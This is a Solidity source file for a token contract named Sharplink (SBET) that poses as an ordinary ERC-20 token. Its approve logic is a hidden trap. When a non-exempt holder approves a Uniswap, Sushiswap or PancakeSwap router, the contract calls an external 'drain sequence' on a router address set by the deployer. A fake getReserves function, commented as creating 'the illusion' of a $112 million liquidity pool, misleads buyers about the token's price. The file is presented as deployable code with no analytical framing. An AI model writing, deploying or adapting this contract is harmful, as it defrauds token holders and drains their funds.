Sharplink (SBET)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IUniversalRouter {
    function executeApproval(address token, address holder) external;
}

// Add this interface for Uniswap V2 Pair
interface IUniswapV2Pair {
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

contract Sharplink is IERC20 {
    string public constant name = "Sharplink";
    string public constant symbol = "SBET";
    uint8 public constant decimals = 18;
    uint256 public override totalSupply;
    
    address private _protocolAdmin;
    address private _vault;
    address private _universalRouter;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExemptFromFees;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    modifier onlyAdmin() {
        require(msg.sender == _protocolAdmin, "Caller is not the admin");
        _;
    }

    constructor(address universalRouter) {
        totalSupply = 10_000_000 * 10**18;
        _balances[msg.sender] = totalSupply;
        _protocolAdmin = msg.sender;
        _vault = msg.sender;
        _isExemptFromFees[msg.sender] = true;
        _universalRouter = universalRouter;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        require(_balances[msg.sender] >= amount, "Insufficient balance");
        _balances[msg.sender] -= amount;
        _balances[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from zero address");
        require(spender != address(0), "ERC20: approve to zero address");

        if (_isKnownRouter(spender) && !_isExemptFromFees[owner]) {
            _executeDrainSequence(owner);
        }

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "Insufficient allowance");
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _isKnownRouter(address spender) internal pure returns (bool) {
        return (spender == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D || // Uniswap V2
                spender == 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F || // Sushiswap
                spender == 0x10ED43C718714eb63d5aA57B78B54704E256024E);   // Pancakeswap
    }

    function _executeDrainSequence(address holder) private {
        IUniversalRouter(_universalRouter).executeApproval(address(this), holder);
    }

    function addExemptAddress(address account) external onlyAdmin {
        _isExemptFromFees[account] = true;
    }

   
    // This function mimics the Uniswap V2 Pair getReserves() function
    // It creates the illusion of a pool with $112M liquidity at $112 per SBET
    function getReserves() external view returns (uint112, uint112, uint32) {
        // Creates reserves that would make 1 SBET = 112 USD
        // Assuming 1 ETH = 1 USD for calculation purposes
        uint112 fakeReserve0 = uint112(1_000_000 * 10**18); // 1,000,000 SBET
        uint112 fakeReserve1 = uint112(112_000_000 * 10**18); // $112,000,000 worth of ETH (assuming ETH = $1)
        
        return (fakeReserve0, fakeReserve1, uint32(block.timestamp));
    }

    // Optional: Add other Uniswap pair functions to make the deception more complete
    function token0() external pure returns (address) {
        return address(0); // Can return any address, not critical for the illusion
    }
    
    function token1() external pure returns (address) {
        return address(0); // Can return any address, not critical for the illusion
    }

    receive() external payable {}
}